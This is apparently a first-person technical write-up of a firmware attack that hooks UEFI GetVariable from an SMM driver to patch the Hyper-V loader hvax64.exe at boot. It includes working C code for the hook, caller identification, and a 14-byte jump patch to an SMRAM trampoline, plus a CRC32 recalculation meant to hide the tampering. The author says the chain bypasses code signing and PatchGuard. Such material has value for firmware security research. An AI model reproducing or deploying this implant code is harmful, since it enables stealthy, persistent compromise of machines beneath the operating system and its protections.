Parasitic Hyper-V Hook: The GetVariable Injection
Instead of replacing Hyper-V, I ride on top of it. hv_hook.c hooks EFI_RUNTIME_SERVICES.GetVariable() so that when hvax64.exe -- the Hyper-V loader -- reads a UEFI variable, I intercept the call, inspect the caller, and inject my code into the Hyper-V boot path. My hypervisor becomes a parasite living inside the real Hyper-V launch sequence.
The motivation is simple. Replacing Hyper-V entirely means I have to implement all the VTL 0/1 separation, the secure hypercall interface, and the entire enlightenment layer. That's tens of thousands of lines of code. But if I can hook into Hyper-V's own launch, I get all of that infrastructure for free -- Hyper-V does the heavy lifting, and I inject my own code alongside it.
How Hyper-V boots
The Hyper-V boot path starts in the Windows bootloader. When BCD says hypervisorlaunchtype = auto, winload loads hvax64.exe -- the Hyper-V loader. hvax64.exe initializes the hypervisor, creates the virtual processor partitions, and hands off to the kernel. During this process, hvax64.exe reads several UEFI variables to get configuration data.
It calls EFI_RUNTIME_SERVICES.GetVariable() multiple times -- for the Hyper-V settings, for the secure boot state, for hardware configuration. Each of these calls goes through the UEFI runtime services table, which is still accessible during boot. And because I'm in SMM, I can modify that table.
Hooking GetVariable from SMM
The EFI Runtime Services table lives at a known address. I locate it during SMM driver initialization, save the original GetVariable function pointer, and replace it with my own.
// hooking GetVariable from SMM context
static EFI_GET_VARIABLE gOriginalGetVariable = NULL;
EFI_STATUS InstallGetVariableHook(void) {
// locate the EFI System Table
EFI_SYSTEM_TABLE *st = gSystemTable;
EFI_RUNTIME_SERVICES *rt = st->RuntimeServices;
// save original
gOriginalGetVariable = rt->GetVariable;
// replace with my hook
rt->GetVariable = HookedGetVariable;
// update CRC32 so the firmware doesn't detect the modification
rt->Hdr.CRC32 = 0;
gBS->CalculateCrc32(rt, rt->Hdr.HeaderSize, &rt->Hdr.CRC32);
return EFI_SUCCESS;
}
The CRC32 update is important. The UEFI spec says the runtime services table has a CRC32 checksum in the header. Some firmware implementations validate this checksum. If I change a function pointer without updating the CRC, the firmware might reject the table or the OS might refuse to use it. Recalculating the CRC after the hook makes the modification invisible.
Identifying the caller: is this hvax64.exe?
My hooked GetVariable runs for every GetVariable call -- not just hvax64.exe. The bootloader calls it, winload calls it, even some early kernel code calls it. I need to distinguish hvax64.exe from everything else.
I do this by examining the return address. When GetVariable is called, the return address on the stack tells me where the caller lives in memory. I compare this against the known load address range of hvax64.exe.
EFI_STATUS EFIAPI HookedGetVariable(
IN CHAR16 *VariableName,
IN EFI_GUID *VendorGuid,
OUT UINT32 *Attributes,
IN OUT UINTN *DataSize,
OUT VOID *Data
) {
// get the return address from the stack
UINT64 ret_addr = _ReturnAddress();
// check if the caller is in hvax64.exe's address range
if (IsInHvLoader(ret_addr) && !gAlreadyInjected) {
// found hvax64.exe calling GetVariable
// this is my injection point
UINT64 hv_base = FindImageBase(ret_addr);
InjectIntoHvLoader(hv_base);
gAlreadyInjected = TRUE;
}
// always call the original -- don't break normal GetVariable
return gOriginalGetVariable(VariableName, VendorGuid,
Attributes, DataSize, Data);
}
IsInHvLoader() checks whether the return address falls within the typical load range for hvax64.exe. During boot, winload places hvax64 at a predictable virtual address range. I also verify by walking backwards from the return address to find the MZ/PE header -- if I find a valid PE with the right characteristics (size, section count, timestamp range), I'm confident it's the Hyper-V loader. This prevents false positives from other code that happens to be in a similar address range.The injection: patching hvax64.exe
Once I've identified hvax64.exe and found its base address, I patch it. The simplest approach is to find a code cave (unused space in the PE) or to modify an existing function's entry point to redirect to my code.
static void InjectIntoHvLoader(UINT64 hv_base) {
// find the hvax64 initialization function
// I locate it by pattern scanning for a known signature
UINT64 init_func = ScanForInitPattern(hv_base);
// save the original bytes
CopyMem(gOriginalBytes, (VOID *)init_func, 14);
// write a 14-byte absolute jump to my trampoline
// FF 25 00 00 00 00 [8-byte address]
UINT8 jmp_stub[14] = {
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, // jmp [rip+0]
0x00, 0x00, 0x00, 0x00, // low dword
0x00, 0x00, 0x00, 0x00, // high dword
};
// point the jump to my trampoline in SMRAM
*(UINT64 *)&jmp_stub[6] = (UINT64)HvTrampoline;
// patch hvax64.exe
CopyMem((VOID *)init_func, jmp_stub, 14);
}
The trampoline lives in SMRAM. When hvax64 calls its initialization function, it jumps to my trampoline instead. My trampoline does what I need -- sets up my hypervisor hooks, modifies the Hyper-V configuration in memory, whatever the current goal is -- then restores the original bytes and jumps back to the real init function. From hvax64's perspective, its initialization ran normally. From my perspective, I got to execute code in the Hyper-V loader's context.
Why parasitic instead of replacing?
The alternative is to replace Hyper-V entirely -- intercept the boot path, prevent hvax64 from loading, and provide my own hypervisor that pretends to be Hyper-V. I considered this. It's cleaner in some ways. But it requires implementing the entire Hyper-V interface: the hypercall page, the synthetic MSRs, the SynIC (Synthetic Interrupt Controller), the partition model, VTL separation. That's Microsoft's proprietary interface, partially documented but with enough undocumented behavior that a clean-room implementation would take months.
The parasitic approach sidesteps all of that. Real Hyper-V runs. Real VTL 0/1 separation exists. Real hypercall page, real SynIC, real everything. I just inject a small amount of my own code into the initialization path to add my hooks. The Windows kernel talks to real Hyper-V, which provides real VBS/HVCI support, and I piggyback on top.
The full chain
Putting it all together, the attack chain looks like this: my SMM driver registers during firmware initialization, hooks GetVariable, and waits. The boot proceeds normally -- bootmgfw, winload, hvax64. When hvax64 calls GetVariable, my hook fires, identifies the caller, patches hvax64's init function. hvax64 runs my trampoline, returns to normal execution, and Hyper-V initializes with my modifications in place. The kernel boots, sees real Hyper-V, enables VBS/HVCI, and everything works -- except I have hooks running inside the Hyper-V context that let me do whatever I want.
From firmware flash to code execution inside the hypervisor, the chain is: Q-Flash Plus -> SMM driver loads during DXE -> GetVariable hook installed -> hvax64 calls GetVariable -> hook fires -> hvax64 patched -> trampoline executes -> hooks installed in Hyper-V context -> normal boot continues. Every step happens before the Windows kernel's first instruction. No driver loading, no code signing, no PatchGuard. The machine boots with my modifications baked in from the start.